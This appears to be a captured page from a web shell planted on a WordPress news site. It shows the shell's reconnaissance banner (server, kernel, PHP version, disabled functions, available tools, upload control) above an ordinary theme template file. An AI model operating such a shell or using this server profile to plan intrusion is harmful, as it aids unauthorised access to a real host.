AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK
| Server IP : dzynews.com / Your IP : 216.73.217.105 Web Server : nginx/1.30.3 System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64 User : www ( 1000) PHP Version : 8.2.31 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/ |
Upload File : |
<?php
use B2\Modules\Templates\Single;
$post_type = get_post_type();
b2_redirect_404($post_type);
// $open = b2_get_option('infomation_main','infomation_open');
// if((int)$open == 0){
// //跳转404
// wp_redirect(home_url('/404'));
// exit;
// }
get_header();
$post_type = get_post_type();
$b2_custom_post_type = b2_get_search_type();
$post_id = get_the_ID();
$post_style = Single::get_single_post_settings($post_id, 'single_post_style');
?>
<?php do_action('b2_single_wrapper_before'); ?>
<div class="b2-single-content wrapper">
<?php do_action('b2_single_before'); ?>
<div id="primary-home" class="content-area">
<?php while (have_posts()):
the_post();
do_action('b2_single_content_before');
get_template_part('TempParts/single', isset($b2_custom_post_type[$post_type]) ? $post_type : 'normal');
do_action('b2_single_content_after');
if ((comments_open() || get_comments_number()) && (int) b2_get_option('template_comment', 'comment_close') === 1 && $post_type !== 'circle'):
comments_template();
endif;
endwhile;
?>
<?php do_action('b2_comments_after'); ?>
</div>
<?php do_action('b2_single_after'); ?>
<?php
if ($post_type !== 'announcement')
get_sidebar();
?>
</div>
<?php do_action('b2_single_wrapper_after'); ?>
<?php
get_footer();